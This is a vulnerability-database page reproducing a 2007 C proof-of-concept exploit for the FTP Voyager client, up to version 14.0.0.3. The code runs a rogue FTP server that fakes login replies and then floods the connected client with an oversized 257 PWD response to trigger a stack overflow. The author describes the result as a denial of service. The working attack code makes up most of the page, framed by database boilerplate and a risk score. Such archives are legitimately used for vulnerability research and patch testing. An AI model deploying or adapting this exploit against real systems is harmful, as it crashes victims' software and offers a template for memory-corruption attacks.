Lucene search
K

FTP Voyager <= 14.0.0.3 (CWD) Remote Stack Overflow Exploit PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

FTP Voyager 14.0.0.3 CWD Remote Stack Overflo

Code

                                                /***********************************************************************************
*               FTP Voyager &#60;= 14.0.0.3 CWD Remote Stack Overflow                  *
*                                                                                  *
*                                                                                  *
* There is a remote stack overflow in FTP Voyager triggered by a long 257 response *
* After that, if the user hits &#60;abort&#62;.....................................B O O M *
*                                                                                  *
* Only a DoS, I dont think code execution is possible                              *
*                                                                                  *
* Have Fun!                                                                        *
*                                                                                  *
* Coded by Marsu &#60;[email protected]&#62;                                      *
***********************************************************************************/



#include &#34;winsock2.h&#34;
#include &#34;stdio.h&#34;
#include &#34;stdlib.h&#34;
#include &#34;windows.h&#34;
#pragma comment(lib, &#34;ws2_32.lib&#34;)

int main(int argc, char* argv[])
{
	char recvbuff[1024];
	char evilbuff[30000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));
	printf(&#34;[+] FTP Voyager 14.0.0.3 CWD Remote Stack Overflow\n&#34;);
	printf(&#34;[+] Coded and discovered by Marsu &#60;[email protected]&#62;\n&#34;);
	printf(&#34;[*] Listening on port 21 ...\n&#34;);
	listen(server,5);
	printf(&#34;[*] Waiting for client ...\n&#34;);
	client=accept(server,NULL,NULL);
	printf(&#34;[+] Client connected\n&#34;);


	memcpy(evilbuff,&#34;220 Hello there\r\n\0&#34;,18);
	memset(recvbuff,&#39;\0&#39;,1024);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf(&#34;[-] Error in send!\n&#34;);
		exit(-1);
	}

	//USER
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	memcpy(evilbuff,&#34;331 \r\n\0&#34;,7);
	send(client,evilbuff,strlen(evilbuff),0);
	Sleep(50);

	//PASS
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	memcpy(evilbuff,&#34;230 \r\n\0&#34;,7);
	send(client,evilbuff,strlen(evilbuff),0);

	//SYST 
	memset(recvbuff,&#39;\0&#39;,1024);
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	memcpy(evilbuff,&#34;215 WINDOWS\r\n\0&#34;,14);
	send(client,evilbuff,strlen(evilbuff),0);

	//FEAT
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	memcpy(evilbuff,&#34;211 END\r\n\0&#34;,10);
	send(client,evilbuff,strlen(evilbuff),0);
	
	//REST 100
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	memcpy(evilbuff,&#34;350 rest at 100\r\n\0&#34;,10);
	send(client,evilbuff,strlen(evilbuff),0);
	
	//REST 0
	memset(recvbuff,&#39;\0&#39;,1024);
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	memcpy(evilbuff,&#34;350 rest at 0\r\n\0&#34;,10);
	send(client,evilbuff,strlen(evilbuff),0);

	//PWD
	int i=5;
	memset(recvbuff,&#39;\0&#39;,1024);
	recv(client,recvbuff,1024,0);
	printf(&#34;%s&#34;, recvbuff);
	while (i&#60;30000) { //17000 should be enough... but chances are it is still alive =D
		memset(evilbuff+i,&#39;a&#39;,1);
		i++;
		memset(evilbuff+i,&#39;//&#39;,1);
		i++;
	}
	memcpy(evilbuff,&#34;257 \&#34;&#34;,5);
	memcpy(evilbuff+30000,&#34;\&#34;\r\n\0&#34;,4);
	printf(&#34;[+] Wait til the user hits &#60;abort&#62;&#34;);
	while(1) { //stupid loop to force the user to click disconnect. Theorically, one shot is sufficient to make the app unstable.
		if (send(client,evilbuff,strlen(evilbuff),0)==-1) break;
		Sleep(3000);
	}
	closesocket(client);
	closesocket(server);

	printf(&#34;\n[+] VoyagerFTP is DoSed\n&#34;);
	return 0;
}

// milw0rm.com [2007-02-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14